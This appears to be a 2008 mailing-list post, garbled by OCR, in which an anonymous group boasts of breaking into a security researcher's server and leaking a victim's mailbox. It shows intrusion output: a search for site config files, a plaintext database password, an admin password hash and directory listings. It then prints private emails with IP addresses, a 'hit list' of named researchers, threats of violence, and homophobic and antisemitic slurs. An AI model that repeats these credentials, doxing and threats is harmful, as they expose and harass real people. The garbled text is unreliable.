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e From: "Great Council of Internet Superheros"” <internetsuperheros@xXXXXXXXXXXX>
 Date: Fri, 08 Aug 2008 16:34:40 +0200

Hash: SHA1

Antifreedom fighters have shut down one of the mirrors. Here be the
sauce.

We are requesting mirrors and fellow righteous superheros to
promptly archive the files (including Petko D. Petkov, pdp's

mailbox RAR volumes), exercising your rights of freedom of speech
and awesomeness. We also request strOke, that little guy with
mustache at milwOrm.com, to archive this piece of Internet and
security industry history.

It's about time to start the greatest showdown of jews.

Thanks to Pink the Whiz Kid, Bulletman, Crimson Avenger and the
rest of the crew at SoJ.

Excerpt of Tom Ferris' Internet Justice magazine article:

<great justice>

# find /varlwww —name "*config*.php'
Ivar/www/worldofwarcraft2.com/config.inc.php
Ivar/www/whosonbebo.com/config.inc.php
Ivar/www/zunewallpapers.net/wp—config.php
Ivar/www/zunewallpapers.net/wp—admin/setup—config.php
Ivar/www/zunewallpapers.net/wp—config—sample.php
Ivarlwww/a727.com/sqglz/config.sample.inc.php
Ivarlwww/a727.com/sqlz/show_config_errors.php
Ivarlwww/a727.com/sqlz/config.inc.php
Ivar/www/a727.com/sqglz/libraries/db_config.lib.php
Ivarlwww/a727.com/sqlz/libraries/auth/config.auth.lib.php
Ivarlwww/a727.com/sqglz/libraries/config.default.php
Ivar/www/faceboxskins.com/config.inc.php
Ivar/www/vintagerazors.com/config.php
Ivar/www/wiiwallpapers.com/config.inc.php
Ivar/www/sacbars.com/config.inc.php
Ivar/www/t629.com/config.inc.php
Ivar/www/sexypspdownloads.com/config.php
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Ivar/www/themeiphone.com/config.php
Ivar/www/themeiphone.com/plugins/sef_urls/configuration.php
Ivar/www/themeiphone.com/plugins/sample/configuration.php
Ivar/www/themeiphone.com/include/config.inc.php
Ivar/www/pearl8800.com/config.inc.php
Ivar/www/pspbackrounds.com/config.inc.php
Ivar/www/usedvespas.net/config.php
Ivar/www/ceocigars.com/config.inc.php
Ivar/www/bebounblocked.com/config.php
Ivar/www/evilryu.com/config.inc.php
Ivar/www/blogtop100.com/config.inc.php
Ivar/www/twitterskins.com/config.inc.php
Ivar/www/pspsites.com/config.inc.php
Ivar/www/security—protocols.com/store/config.php
Ivar/www/security—protocols.com/amazon/script/config.php
Ivar/www/security—protocols.com/wp—
includes/js/tinymce/plugins/spellc....
Ivar/www/security—protocols.com/wp—
includes/js/tinymcef/tiny_mce_config.php
Ivar/www/security—protocols.com/wp-config.php
Ivar/www/security—protocols.com/wp—admin/setup—config.php
Ivar/www/security—protocols.com/wp—config—sample.php
Ivar/www/security—protocols.com/backup/wp—config.php
Ivar/www/security—protocols.com/backup/wp—content/plugins/wp-—
cache/wp-cac....
Ivar/www/security—protocols.com/backup/wp-content/wp—cache-
config.php
Ivar/www/security—protocols.com/wp-content/plugins/wp-cache/wp-
cache—c....
Ivar/www/security—protocols.com/wp-content/wp—cache—config.php
Ivar/www/i580.net/config.inc.php
Ivar/www/v9500.com/config.inc.php
Ivar/www/8710c.com/config.inc.php
Ivar/www/yourpsp.us/config.inc.php
Ivar/www/accessoryps3.com/config.php

Il ** MySQL settings ** //

define('DB_NAME', 'zunewallpapers");
define('DB_USER', 'zunewallpapers");
define('DB_PASSWORD', 'PuU4DGrYwWJRHUFPS");
define('DB_HOST', 'localhost');

#ls -/

total 202

drwxr—xr—x 3 root root 4096 Nov 14 12:47 backups

drwxr—xr—x 2 root root 4096 Jan 2 04:03 bin

drwxr—xr—x 4 root root 1024 Feb 25 14:04 boot

— —rw-r——r—— 1 root root 370 Jul 27 2004 client—config—
overrides.txt

— —rw-r——r—— 1 root root 7746 Dec 8 2004 client_config_update.py
drwxr—xr—x 10 root root 5360 Feb 25 14:07 dev
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drwxr—xr—x 77 root root 12288 Feb 25 14:07 etc
drwxr—xr—x 3 root root 4096 Nov 10 12:34 home
drwxr—xr—x 2 root root 4096 Aug 12 2004 initrd
drwxr—xr—x 11 root root 4096 Feb 25 14:03 lib
drwx—————— 2 root root 16384 Nov 10 12:06 lost+found
drwxr—xr—x 4 root root 4096 Feb 25 14:07 media
drwxr—xr—x 2 root root 4096 Jul 11 2006 misc
drwxr—xr—x 2 root root 4096 Aug 12 2004 mnt
drwxr—xr—x 2 root root 4096 Aug 12 2004 opt
dr—xr—xr—x 129 root root 0 Feb 25 08:06 proc

— —rw-r——r—— 1 root root 1369 Jun 28 2004 public_key.txt
drwxr—x——-— 9 root root 4096 Feb 25 19:48 root
drwxr—xr—x 2 root root 12288 Feb 25 14:04 sbhin
drwxr—xr—x 2 root root 4096 Nov 10 12:06 selinux
drwxr—xr—x 2 root root 4096 Aug 12 2004 srv
drwxr—xr—x 9 root root 0 Feb 25 08:06 sys

drwxr—xr—x 3 root root 4096 Nov 10 12:12 tftpboot
drwxrwxrwt 4 root root 4096 Feb 25 21:09 tmp
drwxr—xr—x 17 root root 4096 Nov 10 12:19 usr
drwxr—xr—x 22 root root 4096 Nov 10 12:12 var

# Is —I /backups

total 974172

— —rw—-r——r—— 1 tommy tommy 996567040 Nov 13 18:11 secpro.tar
drwxr—xr—x 31 root root 4096 Nov 13 18:06 security—
protocols.com

begin 644 tomferris—secprotocols.sql.bz2
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end

INSERT INTO "wp_users” ('ID’, "user_login’, “user_pass’,
‘user_nicename’,

‘user_email’, "user_url’, "user_registered’, "user_activation_key’,
‘user_status’, “display_name’) VALUES ('1', 'admin’,
'‘a0d24c32db51dd4ee5604a80a8d7fd74', ‘'admin', ‘tommy@security—
protocols.com’,

'hitp://security—protocols.com’, '2006-11-13 20:05:06', ", '0',

"Tom Ferris");

begin 644 tomferris—httpd.conf.bz2
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end
</great justice>
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Tom Ferris, you've been accused and framed for crimes against
Humankind, Common sense, Spell checkers, Mensa 1Q tests, the Queen
and the Internet. Your continuous leakage and disruption of Apple

Oday, albeit clueless, has damaged the hacking community as a

whole, and caused monetary loses to several unidentified

individuals, who are willing to invest on tracking you down, and

possibly getting you, Tom Ferris, into a cockroach infested grave.

You've been declared guilty by the Chamber of Internet Justice, and
we hereby wage war on the digital realms against your starved
chihuahuas pets, your mailbox and your absolutely lame blog.
Hopefully your employer, Adobe, will understand that firing and
dumping you is the best option. Otherwise the Squadron of Justice
will be forced to take action.

No further warnings will be issued by this Council.

Love,
the Great Council of Internet Superheros.
"To protect exposure and serve ruin. For great justice.”

Charset: UTF8
Note: This signature can be verified at https://www.hushtools.com/verify
Version: Hush 3.0

WpWEAQMCAAYFAKICWYIACgkQ5g5u/REitpZ6jwP7BNJPRSYFNQLzOahbDBXJIASIIPSY
4Vs5ZtY QKFzjzI7GmVPRbBnu4WymPI3rRv20V8iVh9QOCM25iTMBI1wzcfedEjXI/Cg
KF480NkfhAVj+ZKqgpz+I546YLwYeiHyVbAgsmSqYW8FTmsgTxaXGgdEOrRINrLgP/uvL
CUOrxfo=

=+Z6p

Click here for great computer networking solutions!

http://tagline.hushmail.com/fc/loyw6h4fM6mGHdI8gcrLylL IWJIcKhyWIY40eHuUjrAG3VKmRIilgz7viu/

Lo |
oY X P —
10 TDON (=1 (1= "==

Al == e
V( W ._
) (] 'th3 pOIt3rg31st squ4drOn: pOss3sslng bl4tchz n34r jOO
Q]
[I']|' Say it's the leaves, the way they rustle.
| | | Say it's a shadow, the scraping of a stick.
| | | Childhood friends, dead and buried
| /-' they're out there now, small ghosts
|_." who never knew when enough was enough...
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One who ran into a car, one who tripped

on a stone and fell on a stick that poked

through his heart. Lost and forgotten,

they've gone into the world to become

the snap of a branch, the skittering

of leaves. What are they whispering?

It's late and it's cold. THEY WANT TO COME IN...

Kevin Mitnick . . .. V'\'\\;

VNN, ~ LN

Nate Lawson ~\, LG\ (=, 11~"1

(== \===~\ (— |||~ ./

Pedtko D. Petkov (—— \\===~\ "= ~=,.. /I
(== \W\==~"\ ~—=~— ——|\}/],

Tom Ferris ( ——\W\(("'==. ~"~/a |

(= NCCOW ~"'=~] .\

Thomas Ptacek (,—(,(,(;\\. ~'=| \\_;>
(=CGGW~=\

OWASP (,~/ (.(.(;;\/)

Kurt Seifreid (==,—;-";'/_,——".\
o, ==

Alan Shimel (='~-_,—/, !\,  —.\\)
=~CI\._=1) /]

Still(in)Secure (~/(M\\._, |- _//

\O)) /.~ L\

Security Bloggers Network , _ //lI[ 1)1
‘===~ | | (, <.

Core Security / /\. \ POW3R3DBY4N4RMY
_/1\_\OFFUCK1NUN1KORNZ

.. AND YOU!/ I/ >\

"The whole IT security industry is an accident —— an artifact of how the
computer industry developed." Bruce Schneier

0.00.0 1. THE HIT LIST: "R1d1n j00 Yah0O"

The Judge for Security Sellout Crimes hereby wages war against:
|/| Tom Ferris @ adobe.com security—protocols.com

|/| Matasano LLC @ matasano.com sockpuppet.org

|/| Nate Lawson @ rootlabs.com
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|/| Joanna Rutkowska @ trannyvideos.com

|/| Petko D. Petkov @ googlemail.com gnucitizen.org

|/| Matt Richard @ idefense.com

[/| \) Toralv Dirro @ mcafee.com AVERT Labs

[/|/V Dan Kaminsky @ ioactive.com arkham.wstn.ioactive.com
|/|V Dror Shalev @ sec.drorshalev.com

(\\) Dragos Riuiu @ gaysecwest.com

(\\) Thorsten Holz @ honeynet.org mwcollect.org

(\\) Andre Protas @ eeye.com mwcollect.org (IDA leaker)
(\W\) Gadi Evron @ linuxbox.org kosherobese.org

(\\) Valdis Kletnieks @ vt.edu & his alcoholic mother

AN\ Robert Lemos @ securityfocus.com

/ .\ Ryan Naraine @ zdnet.com gmail.com

/ /' \\ Beyond Security @ Isreal, Gadi's bitch tits

[ I'\\ SecReview @ blogspot.com (gay reviews)

( ())) Juha—Matti Laurio @ netti.fi & Isreal (blog moron)

| | |/] Sergio Alvarez @ gmail.com nruns.com (AV rapist)

| | DIE |/] Theo de Raadt @ cvs.openbsd.org gaydate.com
| | /] Alan Shimel @ yahoo.com stillsecure.com

( ())) Lance M. Havok @ dumb.lame.idiot.pl

\\// kingcope/kcope @ gmx.net lame.idiot.de

\ "——="/ Jennifer Granick @ whitefat.defender.lame
T———— ' David Maynor @ gmail.com erratasec.com apple.com
Andrew Cushman @ microsoft.com gossip.sec

On 4 10ng 3n0f tIm3I1n3, th3 survlv4l r4t3 fO 3v3ryOn3 drOpz t0 z3r0.
Th4t t1m3I1n3 3ndz On Xm4z 2007. G3t r34dy f0 t3 fuckln ruckub.
B14tch3z b3 g3ttln r41d3d... 4bd1c8 or b3 n3zt 1n 11n3!

W3 4r3 v3rrry prOud Of Our fr31ndz 4t Core Security fOr th3 Theo de Raadt
hum1l14t10n, y3t y0 4r3 s3ll1ng Out t00 m|_|ch. DOn b3 14m3 thx!

0.00.0 2. PETKO D. PETKOV EXPOSED: STUP1D INZ1D3, ARROGANT OUTS1D3

WO007 f1rz7 1n 11n3 1z Petko D. Petkov, pdp, th3 1337 wh1t3h47: 13tz z33 sOm
m41iz frOm h1lz m41lb0z (h4s b4ckup s1nc3 2005! uz313z h34d3rz ztrlp3d):

Delivered-To: pdp.gnucitizen@XXXXXXXXX

Received: by 10.35.34.18 with SMTP id m18cs29927pyj;

Fri, 24 Mar 2006 11:24:20 —0800 (PST)

Received: by 10.65.181.7 with SMTP id i7Tmr885419qbp;

Fri, 24 Mar 2006 11:24:00 —0800 (PST)

Return—Path: <full-disclosure—bounces@ XXxXXXXXXXXXXXXXXX>
Received: from lists.grok.org.uk (lists.grok.org.uk [195.184.125.51])
by mx.gmail.com with ESMTP id f15si768247qba.2006.03.24.11.23.48;
Fri, 24 Mar 2006 11:24:00 —0800 (PST)

designates 195.184.125.51 as permitted sender)

Received: from lists.grok.org.uk (localhost [127.0.0.1])

by lists.grok.org.uk (Postfix) with ESMTP id 30966F93;

Fri, 24 Mar 2006 19:19:43 +0000 (GMT)
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X-0riginal-To: full-disclosure @xXXXXXXXXXXXXXXXX

Delivered—To: full-disclosure @ XxxXxXxXXXXXXXXXXXXXX

Received: from mail.atlasvanlines.ca (unknown [66.207.102.26])

by lists.grok.org.uk (Postfix) with ESMTP id 439D01F2

for <full-disclosure @ XXXXXXXXXXXXXXXXX>;

Fri, 24 Mar 2006 14:53:15 +0000 (GMT)

Date: Fri, 24 Mar 2006 09:53:57 —0500

Message-ID: <517427E78F20CF4DB817BEB8504B002B013E69A @ XXXXXXXXXXXXXXXXXXXXX>
From: "Andrew Florjancic" <aflorjancic@XXXXXXXXXXXXXXXX>

To: "Theo de Raadt" <deraadt@XXXXXXXXXXXXXXX>, "Gadi Evron" <ge @ XXXXXXXXXXXX>
Cc: full-disclosure @XXXXXXXXXXXXXXXXX, bugtrag@XXXXXXXXXXXXXXXXX

Subject: [Full-disclosure] RE: SendGate: Sendmail Multiple Vulnerabilities

(Race Condition DoS, Memory Jumps, Integer Overflow)

Sender: full-disclosure—bounces @ XXXXXXXXXXXXXXXXX

Finally PEOPLE speak the TRUTH!!!! Well said!'=20

From: Theo de Raadt [mailto:deraadt@ XXXXXXXXXXxXxxX]=20
Sent: Thursday, March 23, 2006 9:52 PM

To: Gadi Evron

Cc: bugtrag@XxxXXxXXxXxXXXXxxxxxx; full-disclosure @XxxXXXXXXXXXXXXXXXX
Subject: Re: SendGate: Sendmail Multiple Vulnerabilities (Race Condition
DoS, Memory Jumps, Integer Overflow)=20

Sendmail is, as we know, the most used daemon for SMTP in the world.=20
This is an International Infrastructure vulnerability and should have=20
been treated that way. It wasn't. It was handled not only poorly, but=20
irresponsibly.

You would probably expect me to the be last person to say that Sendmail
is perfectly within their rights. | have had a lot of problems with
what they are doing.

But what did you pay for Sendmail? Was it a dollar, or was it more?
Let me guess. It was much less than a dollar. | bet you paid nothing.

So does anyone owe you anything, let alone a particular process which
you demand with such length?

Now, the same holds true with OpenSSH. I'll tell you what. If there is
ever a security problem (again :) in OpenSSH we will disclose it exactly
like we want, and in no other way, and quite frankly since noone has
ever paid a cent for it's development they have nothing they can say
about it.

Dear non-paying user —— please remember your place.

Or run something else.

[Full-disclosure] Squadron of Justice to the rescue
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OK?

Luckily within a few months you will be able to tell Sendmail how to
disclose their bugs because their next version is going to come out with
a much more commercial licence. Then you can pay for it, and then you
can complain too.

w007! wo07! w007! wO07! wo07! wOO7! G4D1 VS. TH30!1?????
International Infrastructure vulnerability

DANGER DANGER DANGER DANGER

strepy(burger,gadi);

Delivered-To: pdp.gnucitizen@XXXXXXXXX

Received: by 10.90.50.9 with SMTP id x9¢cs508025agx;

Thu, 28 Jun 2007 07:09:33 -0700 (PDT)

Received: by 10.100.195.10 with SMTP id s10mr1111608anf.1183039772787;

Thu, 28 Jun 2007 07:09:32 -0700 (PDT)

Return—Path: <david.kierznowski@ xxxxxxxxx>

Received: from wr—out—0506.google.com (wr—out—-0506.google.com [64.233.184.237])
by mx.google.com with ESMTP id c4si9154299anc.2007.06.28.07.09.31;

Thu, 28 Jun 2007 07:09:32 -0700 (PDT)

Received: by wr—out—0506.google.com with SMTP id i4s0569430wra

for <pdp.gnucitizen@XxXXXXXXXXXXxxx>; Thu, 28 Jun 2007 07:09:31 -0700 (PDT)
Received: by 10.90.119.15 with SMTP id r15mr1685038agc.1183039771473;

Thu, 28 Jun 2007 07:09:31 -0700 (PDT)

Received: by 10.90.104.12 with HTTP; Thu, 28 Jun 2007 07:09:31 -0700 (PDT)
Message—-ID: <f4cd4c010706280709025bec985kf7393272444d0chd@ XXXXXXXXXXXXXX>
Date: Thu, 28 Jun 2007 15:09:31 +0100

From: "David Kierznowski" <david.kierznowski@ xxxxxxxxx>

To: "pdp (architect)" <pdp.gnucitizen @XXXXXXXXXXXXXX>

Subject: Re: blog security

In—-Reply-To: <6905b1570706280658h2eb21bc4pe03528ef085c9af3 @ XXXXXXXXXXXXXX>
MIME-Version: 1.0

Content-Type: multipart/alternative;

boundary="--—-=_Part_44034 2752723.1183039771445"

References: <6905b1570706280625p48ff650blab35a5d471fch8ad @ XXXXXXXXXXXXXX>
<f4¢cd4c010706280630p3a5d517dyb6658d4323b4bc2e @ XXXXXXXXXXXXXX>
<6905b1570706280658nh2eb21bc4pe03528ef085c9af3 @XXXXXXXXXXXXXX>

—————— = Part_44034 2752723.1183039771445
Content-Type: text/plain; charset=1SO-8859-1; format=flowed
Content-Transfer—-Encoding: 7bit

Content-Disposition: inline

Let me think on it...

On 28/06/07, pdp (architect) <pdp.gnucitizen @XXXXXXXXXXXXXX> wrote:

I am in winterflood ... do you like the idea of microblogging...
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| was thinking that we could have to types of blogs on gnucitizen...

the standard one.. which is what we have atm and a micro blog which is
actually another category called microblog which contains messages and
interesting info but in very all in all very short format.

what do u think... cuz guys, | don't know how they doit but guys like
0x000000 have more trafic ranking acording to alexa then us and rsnake
is the king of the hill.... we need to truely combine forces and get

them out from the top place... but we need to layout an attack...

startey...

any ideas?
On 6/28/07, David Kierznowski <david.kierznowski@Xxxxxxxxxx> wrote:

Lets catch up tomorrow so we can plan the move and format and | have a
couple of other ideas around the project that | can fill you in on.

Hows L20127?

David

On 28/06/07, pdp (architect) <pdp.gnucitizen @XXXXXXXXXXXXXX> wrote:

what's up

we need to start thinking how we are going to move
blogsecurity to

gnucitizen. Do you mind if we follow the same theme... that
will be

the easiest way to do it. | have some cool ideas about how to
graph

the wp—scanner results via Flex.

pdp (architect) | petko d. petkov
http://www.gnucitizen.org

pdp (architect) | petko d. petkov
http://www.gnucitizen.org

ALERT ALERT ALERT ALERT ALERT ALERT ALERT ALERT ALERT ALERT ALERT ALERT
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[Full-disclosure] Squadron of Justice to the rescue

PDP & D4V1D K13RZ0ZKI WANT TOP R4ANKZ ON GO0OOOGL3 4ND 4L3X4. Z0 TH31R 4DZ
G3T MOR3 MON3YZ!!11!!!11 RSNAKE FEAR! truely! PDP 1Z ZT1LL PLANNING 4TT4CK!

Received: by 10.35.48.16 with HTTP; Sun, 3 Sep 2006 03:12:54 —0700 (PDT)
Message-ID: <6905b1570609030312n76367496p61debdbf3215eC09@XXXXXXXXXXXXXX>
Date: Sun, 3 Sep 2006 11:12:54 +0100

From: "pdp (architect)" <pdp.gnucitizen@xXXXXXXXXXXXXX>

To: pagvac <unknown.pentester@XXXXXXXXX>

Subject: have a look

MIME-Version: 1.0

Content-Type: multipart/mixed;
boundary="--—-=_Part 28854 31891556.1157278374496"

Delivered-To: pdp.gnucitizen@XXXXXXXXX

—————— = Part_28854 31891556.1157278374496
Content-Type: text/plain; charset=1SO-8859-1; format=flowed
Content-Transfer—-Encoding: 7bit

Content-Disposition: inline

hei, man

here is something that | wrote yesterday night. Can you have a look
through it and tell me what you think. I will put it on my blog but |
have some reservations so | need advice from true friend. If it is
lame, just tell me. :) Thanks man. Check the attachment.

pdp (architect)
http://www.gnucitizen.org

—————— = Part_28854 31891556.1157278374496

Content-Type: application/vnd.oasis.opendocument.text;
name="Backdooring Flash Objects.odt"

Content-Transfer—-Encoding: base64

X-Attachment-Id: f_ern9mek?7

Content-Disposition: attachment; filename="Backdooring Flash Objects.odt"
LAM3 4TTACHM3NT...

—————— = Part_28854 31891556.1157278374496——

PDP YO DONT N33D TO M41L UR H4CK3R FR31NDS TO 4SK 1F 1TZ L4M3! L34V3
TH3 3M41L SO THE GHOZTZ C4N Z33 1T. IND33D, 1TZ L4AM3. BUT YO POZT3D
1T!1?? Thdnkz

From: "pdp (architect)" <pdp.gnucitizen@xXXXXXXXXXXXXX>

To: pagvac <unknown.pentester@XXXXXXXXX>

Subject: Re: have a look

In—Reply-To: <b7a807650609041500r5e5f067ah6541a7612b63b80a@XXXXXXXXXXXXXX>
MIME-Version: 1.0

Content-Type: text/plain; charset=1SO-8859-1; format=flowed
Content-Transfer—-Encoding: 7bit

Content-Disposition: inline

References: <6905b1570609030312n76367496p61debdbf3215ec09@ XXXXXXXXXXXXXX>
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<b7a807650609041500r5e5f067ah6541a7612b63b80a@ XXXXXXXXXXXXXX>
Delivered-To: pdp.gnucitizen@XXXXXXXXX

well, ) too late... it is up now. The modified version is on

http://www.gnucitizen.org.
I am also working on some other cool stuff that you may find extremely

interesting.
On 9/4/06, pagvac <unknown.pentester@XXXXXXXXX> wrote:

i like it, but a bit too heavy for my taste. it feels too long. my
mind was only able to read about 60% of it. of course, this is just my
opinion, so you shouldn't take it as the absolute truth ;-)

if it took u testing X number of tools until u made it work u could
have just said that in one line and then go straight to examples using
the tool that finally worked. people like practical and quick things
(again this is my opion).

other than that, interesting topic (backdooring a flash file).
On 9/3/06, pdp (architect) <pdp.gnucitizen @XXXXXXXXXXXXXX> wrote:

hei, man

here is something that | wrote yesterday night. Can you have a look
through it and tell me what you think. I will put it on my blog but |
have some reservations so | need advice from true friend. If it is
lame, just tell me. :) Thanks man. Check the attachment.

pdp (architect)
http://www.gnucitizen.org

pagvac
[http://ikwt.com/]

pdp (architect)
http://www.gnucitizen.org

NOW YOR R34D3RZ C4N F1IND GOOD PDP 0D4Y H3R3 T00. 4ND YO H4V3 FR33
3M41L B4CKUPZ! HEHEHEHEHEHEHEHEHE

[Full-disclosure] Squadron of Justice to the rescue
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Date: Tue, 5 Sep 2006 17:38:48 +0100

From: "pdp (architect)" <pdp.gnucitizen@XxXXXXXXXXXXXXX>

To: pagvac <unknown.pentester@XXXXXXXXX>

Subject: Re: have a look

In—Reply-To: <b7a807650609050859r23e3aa5x8364f48dfe224ea7 @ XXXXXXXXXXXXXX>
MIME-Version: 1.0

Content-Type: text/plain; charset=1SO-8859-1; format=flowed
Content-Transfer—-Encoding: 7bit

Content-Disposition: inline

References: <6905b1570609030312n76367496p61debdbf3215ec09@ XXXXXXXXXXXXXX>
<b7a807650609041500r5e5f067ah6541a7612b63b80a@ XXXXXXXXXXXXXX>
<6905b1570609050555s1be2e41eulb4953cfe76dd2f1@XXXXXXXXXXXXXX>
<b7a807650609050859r23e3aa5x8364f48dfe224ea7 @ XXXXXXXXXXXXXX>
Delivered-To: pdp.gnucitizen@XXXXXXXXX

don't get you man
On 9/5/06, pagvac <unknown.pentester@XXXXXXXXX> wrote:
On 9/5/06, pdp (architect) <pdp.gnucitizen @XXXXXXXXXXXXXX> wrote:

well, ) too late... it is up now. The modified version is on
http://www.gnucitizen.org.

I am also working on some other cool stuff that you may find extremely
interesting.

"extremely interesting" tells me nothing unless you tell me what
exactly you're talking about ;—D

PDP.... YO N33D TO 3ZPL41N THINGZ SO P30PL3S DONT TH1NK Y0 4R3 T4LK1NG BULLSH1TZ

Received: by 10.35.48.16 with HTTP; Tue, 5 Sep 2006 13:26:57 —0700 (PDT)
Message-ID: <6905b1570609051326030d18acfn6669efc78d2a5d9C@ XXXXXXXXXXXXXX>
Date: Tue, 5 Sep 2006 21:26:58 +0100

From: "pdp (architect)" <pdp.gnucitizen@xXXXXXXXXXXXXX>

To: pagvac <unknown.pentester@XXXXXXXXX>

Subject: Re: have a look

In—Reply-To: <b7a807650609051155q76da4047j36d423bf442fccO4 @ XXXXXXXXXXXXXX>
MIME-Version: 1.0

Content-Type: text/plain; charset=1SO-8859-1; format=flowed
Content-Transfer—Encoding: 7bit

Content-Disposition: inline

References: <6905b1570609030312n76367496p61debdbf3215ec09@ XXXXXXXXXXXXXX>
<b7a807650609041500r5e5f067ah6541a7612b63b80a@ XXXXXXXXXXXXXX>
<6905b1570609050555s1be2e41eulb4953cfe76dd2f1@XXXXXXXXXXXXXX>
<b7a807650609050859r23e3aa5x8364f48dfe224ea7 @ XXXXXXXXXXXXXX>
<6905b157060905093814f6c6a0fqe8826f2165f921ef@XXXXXXXXXXXXXX>
<b7a807650609051155q76da4047i36d423bf442fcCIO4 @ XXXXXXXXXXXXXX>
Delivered-To: pdp.gnucitizen@XXXXXXXXX
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ieh, but sometimes | want it to be a surprise ;-)
On 9/5/06, pagvac <unknown.pentester@XXXXXXXXX> wrote:
On 9/5/06, pdp (architect) <pdp.gnucitizen @XXXXXXXXXXXXXX> wrote:

don't get you man

sorry, I'm tired. basically all I'm saying is that why tell me u're
working on something interesting if you dont tell me what it is?!!!
it'll only be interesting if i know what it is — you know what i mean

)

u know me, im curious. do always tell me what ure working on!

PDP.... M41L DISCLOZUR3 SURP1Z3! H4PPY XM4Z HEHEHEHE W3 4R3 V3RY CUR10UZ TOO

Received: by 10.35.48.16 with HTTP; Tue, 5 Sep 2006 18:07:02 -0700 (PDT)
Message-ID: <6905b1570609051807n5fef365epe9cdf3928c44868d @ XXXXXXXXXXXXXX>
Date: Wed, 6 Sep 2006 02:07:02 +0100

From: "pdp (architect)" <pdp.gnucitizen@xXXXXXXXXXXXXX>

To: pagvac <unknown.pentester@XXXXXXXXX>

Subject: Re: have a look

In—Reply-To: <6905b1570609051326(030d18acfn6669efc78d2a5d9c @ XXXXXXXXXXXXXX>
MIME-Version: 1.0

Content-Type: text/plain; charset=1SO-8859-1; format=flowed
Content-Transfer—-Encoding: 7bit

Content-Disposition: inline

References: <6905b1570609030312n76367496p61debdbf3215ec09@ XXXXXXXXXXXXXX>
<b7a807650609041500r5e5f067ah6541a7612b63b80a@ XXXXXXXXXXXXXX>
<6905b1570609050555s1be2e41eulb4953cfe76dd2f1@XXXXXXXXXXXXXX>
<b7a807650609050859r23e3aa5x8364f48dfe224ea7 @ XXXXXXXXXXXXXX>
<6905b157060905093814f6c6a0fqe8826f2165f921ef@XXXXXXXXXXXXXX>
<b7a807650609051155q76dad4047i36d423bf442fcCIO4 @ XXXXXXXXXXXXXX>
<6905b1570609051326030d18acfn6669efc78d2a5d9C @ XXXXXXXXXXXXXX>
Delivered-To: pdp.gnucitizen@XXXXXXXXX

so, you can check my new baby on my website :)
On 9/5/06, pdp (architect) <pdp.gnucitizen @XXXXXXXXXXXXXX> wrote:

ieh, but sometimes | want it to be a surprise ;-)

(SO, YOU C4N CH3CK PDP EM41LZ ON 1INT3RN3TS) HEHEHEHEHEHE
Delivered-To: pdp.gnucitizen@XXXXXXXXX
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Received: by 10.35.48.16 with SMTP id al6cs7553pyk;

Mon, 4 Sep 2006 04:36:36 —0700 (PDT)

Received: by 10.35.39.2 with SMTP id r2mr9977768pyj;

Mon, 04 Sep 2006 04:36:36 —0700 (PDT)

Return—Path: <petko.petkov@ XXXXXXXXXXXXXXX>

Received: from mercury.nta—monitor.com (dsl-62-3-105-225.zen.co.uk [62.3.105.225])
by mx.gmail.com with ESMTP id v53si5193691pyv.2006.09.04.04.36.35;

Mon, 04 Sep 2006 04:36:36 —0700 (PDT)

Received: from [192.168.124.33] (petko.nta—monitor.com [192.168.124.33])

by mercury.nta—monitor.com (8.13.4/8.13.4/Debian-3sargel) with ESMTP id k84BaY5G005589
for <pdp.gnucitizen@xxxxxxxxx>; Mon, 4 Sep 2006 12:36:34 +0100

Message—ID: <44FCOFC2.7020006 @ XXXXXXXXXXXXXXX>

Date: Mon, 04 Sep 2006 12:36:34 +0100

From: Petko Petkov <petko.petkov@XXXXXXXXXXXXXXX>

User—Agent: Thunderbird 1.5.0.5 (Windows/20060719)

MIME-Version: 1.0

To: pdp.gnucitizen@XXXXXXXXX

Subject: good start

Content-Type: text/plain; charset=1SO-8859-1; format=flowed
Content-Transfer—-Encoding: 7bit

X-Scanned-By: MIMEDefang 2.51 on 192.168.124.1

X=Virus—Scanned: ClamAV 0.88.4/1795/Sun Sep 3 23:48:24 2006 on mercury.nta—monitor.com
X-Virus—-Status: Clean

Web browser flaws are nothing new, but the professional crooks are
finding new ways to combine these flaws into a system for turning a

quick profit. This post describes an example of how one web site is
combining system fingerprinting, browser vulnerabilities, email spam,

fake web forums, and buggy PHP applications into an automated malware
installation system.

good start !!!!

IWALERT ALERT ALERT ALERT ALERT ALERT ALERT ALERT ALERT ALERT ALERT
PDP H4Z PSYCHO PROBL3MZ H3 M41LZ HIMZ3LF. PL1Z NOT3 TH33Z:

mercury.nta—monitor.com (8.13.4/8.13.4/Debian—-3sargel) D3B14N OWN3D LOL!
petko.nta—-monitor.com [192.168.124.33] NO J4V4ZCR1PT PORT SC4N
dsl-62-3-105-225.zen.co.uk [62.3.105.225] N33D3D! HEHEHEHE

0KZ, THANKZ FOR TH3 HOM3 1P 4ND CORPOR4T3 3M41LZ! HEHEHEHEHEHEHEHE
IWALERT ALERT ALERT ALERT ALERT ALERT ALERT ALERT ALERT ALERT ALERT

Received: by 10.35.54.8 with HTTP; Sat, 13 May 2006 10:52:00 —0700 (PDT)
Message-ID: <6905b1570605131052y77364439yada2a7187ad03884 @ XXXXXXXXXXXXXX>
Date: Sat, 13 May 2006 18:52:00 +0100

From: "Petko Petkov" <pdp.gnucitizen@ XXXXXXXXXXXXXX>

To: "Nabil c.nabil" <c.nabil @xxxXxXxxxxx>

Subject: Re: he pedko

In—Reply-To: <6905b1570605130259j60531db6g8ae2275e9abed2d3 @XXXXXXXXXXXXXX>

[Full-disclosure] Squadron of Justice to the rescue



[Full-disclosure] Squadron of Justice to the rescue

MIME-Version: 1.0

Content-Type: text/plain; charset=1SO-8859-1; format=flowed
Content-Transfer—-Encoding: quoted-printable

Content-Disposition: inline

References: <eaef2e58060512093207e6a992ag767497fedafd7b9 @ XXXXXXXXXXXXXX>
<6905b1570605130259j60531db6g8ae2275e9abe42d3 @ XXXXXXXXXXXXXX>
Delivered-To: pdp.gnucitizen@XXXXXXXXX

Nabil,

I will look for LC5 latter but | don't know if | will be able to find

it or even send it. The best thing to do is to get it fextra privileges but this is not the point.

The purpose of my little experiment is to make python a bit more
modular so | can run my scripts on every machine that has Java
installed (no Java Mobile unfortunately). | am also using the shell to
code python on the fly which is sometimes very handy.

Now, some people may ask why a tool like this is posted on security
mail lists. Well, | guess you don't know python. IMHO python can come
very handy if you know it. It saved the day many times in my
professional career.

If you have any problems with the applet bash me an email. | am kind
of constantly improving it. | am also building a small collection of
security related scripts that will come as a module which you guys can
execute whenever you need.

thanks.

P.S. btw, this is the URL_<http://www.gnucitizen.org/projects/jython-shell/>

pdp (architect)
http://www.gnucitizen.org

Sponsored by: Watchfire

As web applications become increasingly complex, tremendous amounts of
